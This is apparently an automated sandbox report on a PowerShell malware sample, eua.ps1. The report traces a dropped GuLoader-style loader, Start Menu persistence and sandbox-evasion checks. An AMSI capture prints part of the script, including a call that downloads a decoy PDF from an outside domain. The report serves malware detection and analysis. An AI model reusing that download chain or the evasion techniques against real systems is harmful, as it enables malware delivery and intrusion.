Windows Analysis Report
eua.ps1

Source: C:\Users\Public\fcab.bat

Code function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

2_2_0040333D

Source: C:\Users\Public\fcab.bat	Code function: 2_2_00406956		2_2_00406956
Source: C:\Users\Public\fcab.bat	Code function: 2_2_00404C2C		2_2_00404C2C

Source: C:\Users\Public\fcab.bat

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\eua.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\fcab.bat "C:\Users\Public\fcab.bat"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\fcab.bat "C:\Users\Public\fcab.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\Public\fcab.bat

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\Public\fcab.bat

2_2_0040333D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\fcab.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_koaug0jv.qrs.ps1

Source: classification engine

Classification label: mal68.troj.evad.winPS1@14/66@3/3

Source: C:\Users\Public\fcab.bat

Code function: 2_2_004020FE CoCreateInstance,

2_2_004020FE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Users\Public\fcab.bat

Code function: 2_2_004046B0 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

2_2_004046B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5772:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdbLm source: fcab.bat, 00000002.00000003.399907414.000000000283A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdb source: fcab.bat, 00000002.00000003.399907414.000000000283A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.645631516.0000000007E21000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\Public\fcab.bat

Code function: 2_2_10002DE0 push eax; ret

2_2_10002E0E

Source: C:\Users\Public\fcab.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\fcab.bat

Source: C:\Users\Public\fcab.bat	File created: C:\Users\user\AppData\Local\Temp\nsjD2A6.tmp\System.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\fcab.bat	Jump to dropped file
Source: C:\Users\Public\fcab.bat	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\fcab.bat

Drops PE files to the user root directory

Boot Survival

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\fcab.bat

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oulv 'http://www.blufwzmaxxlasfwzr.com/rh/List%20of%20rfwzquirfwzd%20itfwzms%20and%20sfwzrvicfwzs.pdf';exit@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powers

Source: C:\Users\Public\fcab.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust			Jump to behavior
Source: C:\Users\Public\fcab.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust\Grade			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\fcab.bat	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\Public\fcab.bat

File opened: C:\Users\user\Videos\Tonishly\Unitten\Hyoscyamine.ini count: 49915

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\Public\fcab.bat

RDTSC instruction interceptor: First address: 000000000822FB8C second address: 000000000822FB8C instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F2D64ED80AAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5812

Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9711

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\fcab.bat	Code function: 2_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040595A
Source: C:\Users\Public\fcab.bat	Code function: 2_2_0040658F FindFirstFileW,FindClose,	2_2_0040658F
Source: C:\Users\Public\fcab.bat	Code function: 2_2_00402862 FindFirstFileW,	2_2_00402862

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\fcab.bat	API call chain: ExitProcess graph end node			graph_2-4942
Source: C:\Users\Public\fcab.bat	API call chain: ExitProcess graph end node			graph_2-4939

Source: powershell.exe, 00000000.00000002.495073091.000001EA7EA67000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\Public\fcab.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\fcab.bat "C:\Users\Public\fcab.bat"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
